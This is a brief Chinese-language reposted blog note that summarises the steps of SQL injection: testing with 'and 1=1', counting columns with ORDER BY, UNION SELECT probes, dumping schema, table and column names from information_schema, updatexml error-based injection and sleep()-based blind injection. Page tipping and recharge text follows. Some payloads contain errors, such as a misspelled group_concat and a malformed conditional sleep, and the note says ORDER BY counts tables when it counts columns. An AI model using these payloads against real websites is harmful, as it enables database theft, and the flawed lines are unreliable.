SQL注入整理

注入的一般步骤:

1.先找闭合

判断有无注入点 

; and 1=1 and 1=2

现在要判断数据库类型以及版本,构造语句如下:id=-1 union select 1,2 ,version()

order by  语句来查询数据库中存在多少数据表

order by语句来查询数据库中存在多少数据表,如果order by 11返回正常 12 返回错误 那么数据表就是11
得到数据表的个数后,接着来用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 ,11 from  表名

查询数据库名
SELECT group_concat(schema_name) FROM information_schema.schemata

 

查询表名

select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’

查询列名  Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’

爆数据
Select group_concat(column_name) from table_name;

报错注入  UpdateXml     `and 1=(updatexml(1,concat(0x3a,(select user())),1))`

时间盲注和布尔盲注         ascii()           

时间盲注函数     sleep()       and sleep(5) %23  时间判断是什么语句         select id(条件,sleep(10),false);

 

转载于:https://www.cnblogs.com/hou159656/p/8897992.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值